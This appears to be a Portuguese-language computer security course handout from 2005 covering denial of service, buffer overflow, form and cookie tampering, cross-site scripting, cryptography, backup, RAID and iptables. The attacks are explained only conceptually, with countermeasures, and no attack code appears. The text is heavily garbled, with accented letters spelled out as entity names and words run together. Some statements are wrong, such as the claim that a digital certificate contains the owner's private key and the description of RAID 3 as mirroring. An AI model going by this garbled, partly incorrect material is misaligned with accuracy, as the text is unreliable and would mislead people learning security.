acknowledgment ndash confirmaccedilatildeo de sincronizaccedilatildeo) Durante o ataque o hacker natildeoenvia a confirmaccedilatildeo (ACK) deixando o host aguardando com uma conexatildeo meioalertaQuando o host atinge seu limite de conexotildees ele passa a recusar quaisquerconexotildees que chegarem incluindo as vaacutelidas Estas conexotildees alertas iratildeo expiar oteacutermino do ataque e a negaccedilatildeo do serviccedilo terminaraacuteO anonimato de um ataque de Negaccedilatildeo de Serviccedilo torna-o um ataque poucovisiacutevel mas com elevados danos agrave publicidade e agrave imagem da empresaApesar de serem faacuteceis de se gerar satildeo difiacuteceis de se impedir a uacutenica coisa quepode ser feita eacute tornar sua rede mais difiacutecil de atacar e seus computadores de setornarem ZumbiProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 12 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200532) Estouro de BuffferBuffers satildeo aacutereas de armazenamento temporaacuterio1) Possui tamanho limitado2) Estou de Buffer ocorre quando os dados excedem o limite3) Os dados excelentes podem alterar outras regiotildees de dados incluindo as instruccedilotildees doPrograma4) Pode ser utilizado para executar coacutedigo malicioso e abrir acesso ao sistema5) Existem em todos os sistemasSoluccedilatildeo1) Validaccedilatildeo dos dados antes de serem enviados para o buffer2) Pode atrasar as transaccedilotildees e reduzir a largura da banda3) A validaccedilatildeo deve ser feita principalmente no servidor33) Vulnerabilidade no campo do formulaacuterio1) Principalmente nos campos ocultos2) Campos podem ser vistos selecionando as opccedilotildees ldquoEXIBIRCOacuteDIGO FONTErdquo3) O hacker pode alterar estes campos antes de submete-los ao site4) Formulaacuterios com coacutedigo de sessatildeo tambeacutem satildeo vulneraacuteveis a este ataque e poderiampermitir a um hacker apanhar a sessatildeo de um usuaacuterio realSoluccedilatildeo1) Todos os dados retornados para um formulaacuterio devem ser verificados para o servidor2) Incluindo aqueles que o usuaacuterio natildeo possui ldquoacessordquo direto3) Java Script no lado do cliente reduz o problema mas natildeo resolve pois pode serdesabilitado34) Modificaccedilatildeo do arquivo de Cookie1) Cookies satildeo arquivos texto que guardam as preferecircncias do usuaacuterio

2) Satildeo arquivos natildeo cifrados logo podem ser facilmente alterados por um hackerProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 13 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200535) Scripts entre sites1) Um usuaacuterio pode ser atraiacutedo a executar um coacutedigo malicioso contra um site2) Pode ocorrer quando um usuaacuterio recebe um e-mail com um Hiperlink3) Ao clicar no link ele eacute direcionado ao site com o coacutedigo malicioso4) O servidor web aceita o coacutedigo pensando ser de um usuaacuterio confiaacutevel e o executa5) Este script poderaacute fornecer ao hacker informaccedilotildees confidenciais sobre o usuaacuterio36) Vulnerabilidades do Sistema Operacional e das Aplicaccedilotildees1) Haacute falhas de seguranccedila em todos os sistemas operacionais e aplicaccedilotildees2) Monitorar falhas e aplicar os patches3) Fornecedores relutam em publicar os pontos fracos4) Configuraccedilotildees mal feitas portas dos fundos e depuraccedilotildees tambeacutem podem deixar o sitevulneraacutevel5) Programadores tambeacutem podem deixar comandos de depuraccedilatildeo que foram uacuteteis durante odesenvolvimento mas agora representa um grande riscoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 14 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054) A criptografia e seu usoA criptografia eacute a arteciecircncia de escrever de forma cifradacodificada Ou seja eacute o conjunto deteacutecnicas que permite reescrever uma mensagem ldquoclarardquo de forma incompreensiacutevel e permitir que somente odestinataacuterio entenda a mensagemA criptografia tem por finalidade garantir a privacidade atraveacutes do uso de algoritmos que trabalhamcomo funccedilotildees matemaacuteticas que mapeiam um dado de entrada em uma outra informaccedilatildeo na saiacuteda que eacute naverdade o texto cifradoA palavra criptografia vem do grego krypto = esconder + grafo = escritagrafiaA criptoanaacutelise eacute a ciecircncia de determinar a chave de criptografia ou decifrar as mensagens Acriptologia eacute a ciecircncia que combina ambas as anteriores E o criptanalista pode ser tanto o mocinhoquanto o vilatildeoOs componentes baacutesicos de uma estrutura de criptografia satildeo1) Dado de entrada - texto plano2) Funccedilatildeo de mapeamento - algoritmo de criptografia3) Segredo - chave que cifra eou decifra4) Dado de saiacuteda - texto cifrado41) Sistema Criptograacutefico

Estes sistemas podem ser baseados em dois tipos de algoritmos nos restritos e nos modernosAqueles que se baseiam nos algoritmos modernos podem ser simeacutetricos e assimeacutetricos Os sistemassimeacutetricos fazem uso de somente uma chave dai o seu nome jaacute os sistemas assimeacutetricos fazem uso deduas chaves a puacuteblica e a privada411) Algoritmos restritos1) O algoritmo eacute o segredo2) Natildeo eacute muito seguro3) Satildeo difiacuteceis de se desenvolver e distribuir enquanto continuam secretosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 15 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005412) EsteganografiaEsconder uma mensagem secreta em outra mensagem Exemplos1) Tinta invisiacutevel - mensagem publica usando ldquotinta normalrdquo e a secreta usando tinta ldquoinvisiacutevelrdquo2) Imagem graacutefica1) Incluir uma mensagem secreta dentro de uma ldquofigurardquo2) Ou em se cabeccedilalho de dados413) Cifras de substituiccedilatildeo1) Longo histoacuterico2) Substitui cada caraacuteter do texto puro para um outro siacutembolo na mensagem secreta3) As substituiccedilotildees podem ser arbitraacuterias ou podem ter um padratildeo determinado como umarotaccedilatildeo do alfabeto4) Satildeo faacuteceis de descobrir devido aos padrotildees de letra e frequumlecircncia em cada linguagemExemplo Taquigrafia Coacutedigo Morse American Standart Code For Informatran Interchange(ASCII)414) Cifras de Transposiccedilatildeo1) Mantem o coacutedigo puro intacto mas trocam ou misturam a ordem de alguma forma2) Uma versatildeo desta teacutecnica eacute a ldquoCifra de transposiccedilatildeo colunar simplesrdquoExemplo de funcionamento(1) Definiccedilatildeo da cifra originalTHIS IS A SIMPLE COLUMNAR TRANSPOSITION CIPHER(2) Definiccedilatildeo do formato da matrizFrase ndash 40 caracteresGrade ndash 8 colunas5 linhasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 16 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(3) Inserindo dados na gradeT H I S I S A SI M P L E C O L

U M N A R T R AN S P O S I T IO N C I P H E R(4) Reescrita da cifra = seguindo-se as colunas verticalmenteTIUNO HMMSN IPNPC SLAOIIERSP SCTIH AORTE SLAIRVersotildees mais sofisticadas usam padrotildees mais complexos como ziguezague pela gradeComo as palavras estatildeo mantendo a mesma frequumlecircncia esta teacutecnica eacute facilmente detectadae quebrada42) Teacutecnicas Modernas de Codificaccedilatildeo1) Usam algoritmos irrestritos e chaves para manter as informaccedilotildees seguras2) Superiores aos sistemas de algoritmo restrito3) Muitos possuem anos de resistecircncia agrave criptoanaacutelise intensa4) Muitas pessoas podem usar o mesmo algoritmo basta mudar a chave5) Quando a chave for comprometida basta gerar uma nova6) Duas teacutecnicas baacutesicas1) Criptografia simeacutetrica2) Criptografia assimeacutetrica ou criptografia puacuteblica7) Muitos sistemas usam ambas as teacutecnicas421 Criptografia Simeacutetrica1) Conhecido como codificaccedilatildeo de chave secreta2) Uma mesma chave utilizada para codificar e decodificar3) Desta forma a chave eacute o segredo4) Eacute muito utilizada em conexotildees seguras para realizar a troca das chaves temporaacuteriasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 17 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Exemplo de algoritmos1) DES ndash Data Encyptron Standard2) Triple DES3) IDEA ndash International Data Encyption Algorithm4) Blowfish5) Rot 136) RCSEstes algoritmos podem ser de dois tipos1) Algoritmos de Fluxo ndash que trabalham com o texto um byte por vez2) Algoritmos de Bloco ndash trabalham sobre blocos de tamanha fixoOs sistemas simeacutetricos satildeo mais simples e mais raacutepidos do que aqueles de chave puacuteblica (1000 vezesmais raacutepido) mas possui a desvantagem de que dois usuaacuterios distintos tenham conhecimento do mesmosegredo (chave) Ambos os usuaacuterios satildeo responsaacuteveis pela seguranccedila da chave422 Criptografia para chave puacuteblica (assimeacutetrica)Foi criada em 1976 por dois matemaacuteticos de Stanford Whitfield Diffie e Martin Hellman Esta

resolve o problema do uso da chave secreta existente na criptografia simeacutetrica para tal faz uso de duaschaves (privada - cifra e puacuteblica- decifra) Estas duas chaves satildeo diferentes contudo possuem umrelacionamento matemaacutetico todavia natildeo eacute possiacutevel derivar a chave privada a partir da puacuteblica e vice-versaelas se baseiam em nuacutemeros primos fatoraccedilatildeo logaritmos e outras funccedilotildees matemaacuteticas Neste caso otamanho da chave eacute quem determina a eficiecircncia do processoO principal deste tipo de criptograma eacute o RSA criado por Ron L Rivert Adi Shamir e LeonardAdelman a seguranccedila deste algoritmo se baseia na dificuldade de se fatorar nuacutemeros extensos Segundopesquisadores para desvendar o sistema RSA Data Security usando uma chave de 760 bits seriamnecessaacuterios 4300 computadores e 50 anosO uso destas chaves permite o estabelecimento da conexatildeo segura entre duas entidades sem opreacutevio conhecimento das chaves Visto que quando uma entidade ldquoXrdquo precisa enviar uma mensagem paraldquoYrdquo ela usa a chave puacuteblica de ldquoYrdquo para cifrar a mensagem e somente a entidade ldquoYrdquo seraacute capaz dedecifrar a mensagem pois ldquosomenterdquo ela conhece a sua chave privadaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 18 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005423 Criptossistemas HibridosEstes sistemas fazem uso do sistema de chave puacuteblica apenas para realizarem o envio e troca dechaves para a transmissatildeo de dados eacute utilizada a criptografia simeacutetrica e a chave enviada anteriormente OCriptossistemas hiacutebridos aproveitam o melhor das duas tecnologias Um exemplo de sistema hiacutebrido eacute oimplementado pelo protocolo ldquoHTTPSrdquo largamente usado em e-commerceExemplo de funcionamento 43) Outros recursos dos criptossistemasAleacutem da confidenciabilidade os criptossistemas podem ser estilizados para a autenticaccedilatildeoverificaccedilatildeo de integridade e reconhecimento1) Autenticaccedilatildeo ndash permite garantir que uma pessoa eacute quem realmente afirma ser2) Integridade ndash garante que os dados natildeo foram alterados durante a transmissatildeo3) Reconhecimento ndash garante que o emissor de dados eacute uma pessoa especiacutefica e que odestinataacuterio realmente recebeu os dados Impede o repuacutedio de informaccedilotildees431)Meacutetodos de seguranccedila que utilizam criptografiaAtualmente a criptografia estaacute sendo largamente utilizada para proteger de vaacuterias formas os dados

que estatildeo em tracircnsito pela rede ou armazenados nos discos oacuteticos e magneacuteticos das maacutequinas Dentre osmeacutetodos atualmente disponiacuteveis podemos destacar4311)Funccedilatildeo de Hash Unidirecional1) Permite verificar a integridade de uma mensagem ou bloco de dados2) Eacute um valor exclusivo a mensagem3) Serve como impressatildeo digital4) A mensagem original natildeo pode ser derivada a partir do HashDentre os algoritmos que fazem uso desta teacutecnica podemos destacar Secure Hash Algorithm ndashProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 19 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051 (SHA ndash 1) RIPEM MD5 e HAVAL4312) Coacutedigo de Autenticaccedilatildeo de mensagem (MACs)1) Garante a autenticaccedilatildeo e integridade dos dados2) Hash Unidirecional + chave secreta3) Semelhante a criptografia simeacutetrica4) Natildeo se preocupam em manter os dados secretos ou sua integridade4313) Assinaturas DigitaisPermite que o destinataacuterio de uma mensagem digital possa verificar a autenticidade do seuremetente E que a mensagem natildeo foi de forma alguma alterada durante o processo de transferecircncia vistoque uma assinatura digital que tenha sido verificada natildeo pode ser negada ela fornece um elevado niacutevel deconfianccedila no processo de transaccedilotildees eletrocircnicas e autenticaccedilatildeo de documentos digitaisO processo das Assinaturas Digitais se baseia na existecircncia de duas chaves uma puacuteblica e umaprivada Neste caso o remetente codifica a mensagem utilizando a sua chave privada e somente o usuaacuterioque possui a sua chave puacuteblica poderaacute ler a mensagemUma assinatura digital possui as seguintes propriedades1 Garante a Autenticidade2 Natildeo pode ser forjada3 Natildeo eacute reutilizaacutevel4 Natildeo pode ser repudiada5 Vaacutelida certificados6 Pode ser utilizada em assinaturas eletrocircnicas7 Autentica verifica a integridade e faz o reconhecimento de mensagem8 Pode ser utilizada como Hash de um documentoAlgoritmos1) RSA2) Digital Signature Algotithm (DSA)3) Digital Signature Standard (DSS)Usa a chave privada para assinar o documento e o destinataacuterio usa a sua chave puacuteblica paraverificar sua assinatura

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 